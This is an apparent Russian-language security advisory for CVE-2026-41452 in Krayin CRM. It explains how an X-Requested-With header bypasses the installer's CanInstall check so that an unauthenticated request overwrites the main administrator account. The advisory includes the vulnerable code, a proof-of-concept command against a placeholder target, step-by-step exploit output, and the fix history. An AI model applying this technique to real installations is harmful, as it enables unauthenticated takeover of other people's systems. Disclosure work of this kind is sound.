
CVE-2026-41452 — обход установщика Krayin CRM без аутентификации (X-Requested-With) → захват администратора. Проверено: перезапись + вход на 2.2.4, заблокировано на 2.2.5
CVSS 9.8 (Critical) · CWE-287 / CWE-306 · Анализ Jiva · VulnCheck
Установщик Krayin CRM открывает POST /install/api/admin-config-setup (а также run-migration,
run-seeder) без защиты от CSRF (группа withoutMiddleware('web')). Глобальный middleware CanInstall
блокирует этот маршрут только для не-AJAX запросов:
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard');
}
Отправка X-Requested-With: XMLHttpRequest полностью пропускает проверку. Затем контроллер
применяет updateOrInsert к жёстко заданной учётной записи основного администратора (user id=1), подставляя
указанные атакующим имя/email/пароль (role_id=1, status=1) → неаутентифицированный полный захват администратора на
уже установленном экземпляре.
Затронуто: ≤ 2.2.0 и 2.2.4 (регрессия). Исправлено: 2.2.1 (e4eb96f5), регрессия в 2.2.4
(6a7bc4cc), повторно исправлено в 2.2.5 (ea4919a8). На момент исследования ветка master всё ещё была уязвима.
python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'
Цепочка:
X-Requested-With: XMLHttpRequest → HTTP 200 1 → администратор (id=1) перезаписан/admin/login с новыми учётными данными → перенаправление на /admin/dashboard[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall) [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard) [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===
Сравнение с исправленной сборкой: при использовании файлов v2.2.5 тот же AJAX POST → HTTP 403 (заблокировано).
Любая публично доступная установка Krayin CRM (v2.2.4 или ≤2.2.0) может быть полностью захвачена неаутентифицированным атакующим одним запросом. Не требуется ни CSRF, ни учётных данных, ни взаимодействия с пользователем.
ea4919a8 (v2.2.5) · Регрессия: 6a7bc4cc (v2.2.4) · Первое исправление: e4eb96f5 (v2.2.1)